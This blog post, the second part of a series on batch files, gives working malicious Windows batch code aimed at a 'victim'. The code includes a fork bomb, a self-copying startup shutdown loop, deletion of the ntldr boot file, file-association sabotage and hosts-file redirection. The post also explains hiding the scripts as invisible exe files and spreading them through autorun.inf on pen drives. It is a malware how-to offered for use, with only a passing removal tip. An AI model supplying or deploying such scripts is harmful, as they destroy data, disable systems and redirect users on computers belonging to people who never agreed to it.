Part 2 : Are Batch Files Dangerous To Our System?

Hi all once again welcome back to my blog....we were discussing on the effect of batch file in our system and were looking after some batch codes...let's continue..

4. Fork Bomb

%0|%0 //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .

5. Shutdown Virus

copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”

copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup”

These two commands will copy the batchfile in start up folders (in XP)

shutdown -s -t 00

This will shutdown the computer in 0 seconds

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Sta rt Menu\Programs\Startup

Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

6. Deleting boot files

Goto C drive in Win XP , Tools->Folder Option->View.

Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'.

Click apply

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.

Lets make a batch file to delete this file from victim's computer and the windows will not start then.

attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively

del ntldr //delete ntldr file

After running this batch file , system will not reboot and a normal victim would definitely install the windows again.

7. Extension Changer

@echo off

assoc .txt=anything // this command associates extension .txt with filetype anything.

assoc .exe=anything

assoc .jpeg=anything

assoc .png=anything

assoc .mpeg=anything

Every extension is associated with a file type like extension ‘exe’ is is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.

Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint, games, command prompt and many more), jpeg, png, mpeg files wouldn’t open properly.

8. DNS Poisoning

There is a file called ‘hosts’ located at c:\windows\system32\drivers\etc. We can place a website and an IP in front of it. By doing this, we want our web browser to take us to host located at that IP when that website name would be entered. I mean request to resolve IP of website is not sent to Domain Name Server(DNS) if the name of website in hosts file.

@echo off

echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts //this command prints or add xxx.xxx.xxx.xxx. www.anything.com in hosts file.

Replace xxx.xxx.xxx.xxx and www.anything.com with IP address and website of your choice. You can take/redirect victim to any host located at specific IP when he would try to log on to specific website or u can simply block any website by entering its name and any invalid IP address.

Note : Most of the batch viruses are simply undetectable by any anitiviruses

Tip : Coding good viruses just depends on the DOS commands you know and logic you use.

Limitations of Batch Viruses:

1.Victim can easily read the commands by opening batch file in notepad.

2.The command prompt screen pops up,it alerts the victim and he can stop it.

To overcome these limitations,we need to convert these batch files into executable files that is exe files.

You can download the software "Bat To Exe Converter".

After running converter , open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.

You can use other options as per your requirement.

Spreading batch viruses through pen drive:

Step 1.

Open notepad and write

[autorun]

open=anything.bat

Icon=anything.ico

Save file as ‘autorun.inf’

Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

Source: Elakiri.com 

Hey! My friends, If you like my post you can save it using "Save Page as PDF" button below and you can even share them to your friends with social networking buttons provided below this post.